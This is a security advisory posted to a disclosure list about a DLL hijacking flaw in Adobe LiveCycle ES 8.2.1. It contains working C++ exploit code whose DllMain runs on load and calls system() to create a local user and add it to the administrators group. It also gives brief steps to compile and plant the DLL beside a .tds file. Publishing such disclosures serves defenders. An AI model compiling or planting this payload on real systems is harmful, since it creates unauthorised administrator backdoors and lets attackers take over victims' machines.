[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Adobe LiveCycle ES DLL Hijacking Exploit (.dll)



##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:		Adobe LiveCycle ES DLL Hijacking Exploit (.dll)
# Vendor:		http://www.adobe.com/products/livecycle/
# Vulnerable Version:	8.2.1.3144.1.471865
# Exploitation:		Remote Code Execution
###################################################################################

####################
- Description:
####################

Adobe® LiveCycle® Enterprise Suite (ES) software can help you extend the value of existing back-end systems by enabling developers to build and deploy applications quickly and easily, and by empowering business users to manage application environments based on their specific needs. With Adobe LiveCycle ES, you can make it easier for people to interact with information through intuitive user experiences, improve efficiencies through business process automation, and enhance customer service through personalized communications management.


####################
- Vulnerability:
####################

+--> DLL Hijacking
Compile the exploit and rename to .dll, create a file in the same dir with *.tds extension.
	(Vulnerability is discovered by DLLHijackAuditKit v2)

####################
- Exploits/PoCs:
####################

//tested on Windows XP SP3
#include "stdafx.h"
#include "windows.h"
#include <cstdlib>

int main()
{
  system("net user apuser appass /add");
  system("net localgroup administrators apuser /add");
  exit(0);
  return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		main();
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

####################
- Solution:
####################

http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx

####################
- Original Advisory:
####################

http://www.bugreport.ir/index_74.htm

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com